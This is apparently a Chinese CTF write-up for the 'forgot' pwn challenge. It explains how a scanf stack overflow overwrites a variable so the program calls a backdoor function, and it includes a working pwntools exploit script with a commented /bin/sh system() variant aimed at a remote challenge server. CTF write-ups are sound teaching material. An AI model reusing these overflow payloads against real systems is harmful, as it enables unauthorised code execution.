1. 程式人生 > 其它 >攻防世界-pwn-forgot

攻防世界-pwn-forgot

技術標籤:CTF

簡單題…不過一開始沒找到重點,浪費時間了。
在這裡插入圖片描述
開始定義了一大堆沒有用的函式。
在這裡插入圖片描述
然後是開始一大堆輸出。給了函式地址,不過因為沒有PIE所以其實不需要…
漏洞點在scanf,明顯的溢位,但是這裡不是這麼做的…
在這裡插入圖片描述
下面是一個迴圈check,根據輸入最後決定v5的值 (重點)
在這裡插入圖片描述
結束迴圈後是一行奇怪的程式碼
在這裡插入圖片描述
其實看彙編更好理解
很明顯,如果我們控制了 [esp+78h] (這是棧上的我們能控制的值)
再在棧上合理位置佈置好值,就可以通過call eax執行任意函數了
事實上 [esp+78h] 就是上面switch中的 v5
如果我們一開始就把v5覆蓋成1-9之外的值,那整個迴圈中switch都不會執行

v5的值也就儲存下來了
有一個後門函式
在這裡插入圖片描述
將v5後的四個位元組作為函式地址,算得v5需覆蓋為21,符合要求
payload如下:

# -*- coding:utf-8 -*-
from pwn import *                                                      
#from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
r = remote('220.249.52.134', 30894) 
e = ELF('/home/xyzmpv/桌面/d033ab68b3e64913a1b6b1029ef3dc29'
) #gdb.attach(r,'b* 0x08048A58') #r = process('/home/xyzmpv/桌面/d033ab68b3e64913a1b6b1029ef3dc29') #gdb.attach(r,'b* 0x08048A65') system_addr = e.plt['system'] r.recvuntil('>') r.sendline('a') r.recvuntil('>') r.sendline('a'*104+p32(21)+p32(0x80486cc)) #r.sendline('/bin/sh;'+'a'*96+p32(21)+p32(0xdeadbeef)+p32(system_addr))
r.interactive()

當然了,因為有system()所以get shell也可以
因為函式引數是 [esp] 正好是一個指向我們輸入的內容的指標
將padding頭部改為/bin/sh即可。